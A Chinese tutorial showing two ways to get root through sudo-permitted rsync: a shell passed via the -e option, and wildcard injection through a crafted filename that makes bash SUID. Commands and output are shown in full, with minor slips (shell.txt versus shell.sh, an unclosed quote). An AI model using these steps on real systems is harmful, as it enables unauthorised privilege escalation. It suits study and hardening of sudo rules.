概述
rsync是Linux环境下用于对两个主机上的目录和文件进行同步更新的应用程序。当以root权限运行rsync时,有多种可能性可以进行提权。
示例1
用户可以通过sudo运行rsync,且没有任何命令行参数限制
test@199c58947468:~$ sudo -l
Matching Defaults entries for test on 199c58947468:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User test may run the following commands on 199c58947468:
(ALL) NOPASSWD: /usr/bin/rsync
test@199c58947468:~$
运行以下命令可以直接获得root的shell
test@199c58947468:~$ sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
# id
uid=0(root) gid=0(root) groups=0(root)
#
示例2
用户可以通过sudo运行rsync,且命令行参数包含匹配符('*'),
test@170e44c9a381:~/backup$ sudo -l
Matching Defaults entries for test on 170e44c9a381:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User test may run the following commands on 170e44c9a381:
(ALL) NOPASSWD: /usr/bin/rsync -t * backup_server\:backup
test@170e44c9a381:~/backup$
通过以下步骤可以进行提权
首先创建shell.txt文件, 其内容包含将SUID权限赋予/usr/bin/bash的代码。
test@a61b2686401d:~/backup$ echo "chmod u+s /usr/bin/bash" > shell.sh
然后创建一个名为-e sh shell.sh的空文件
test@a61b2686401d:~/backup$ echo "" > "-e sh shell.sh
test@a61b2686401d:~/backup$ ls -alrt
total 8
drwxr-x---. 1 test test 34 Sep 22 09:57 ..
-rw-rw-r--. 1 test test 24 Sep 22 09:57 shell.sh
drwxrwxr-x. 2 test test 44 Sep 22 09:57 .
-rw-rw-r--. 1 test test 1 Sep 22 09:57 '-e sh shell.sh'
test@a61b2686401d:~/backup$
通过sudo运行rsync
test@a61b2686401d:~/backup$ sudo /usr/bin/rsync -t * backup_server:backup
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(228) [sender=3.2.3]
test@a61b2686401d:~/backup$
运行完成后,可以看到/usr/bin/bash有了SUID
test@a61b2686401d:~/backup$ ls -alrt /usr/bin/bash
-rwsr-xr-x. 1 root root 1396520 Jan 6 2022 /usr/bin/bash
test@a61b2686401d:~/backup$
最后使用bash提权
test@a61b2686401d:~/backup$ id
uid=1000(test) gid=1000(test) groups=1000(test)
test@a61b2686401d:~/backup$ bash -p
bash-5.1# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
bash-5.1#
实战
下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。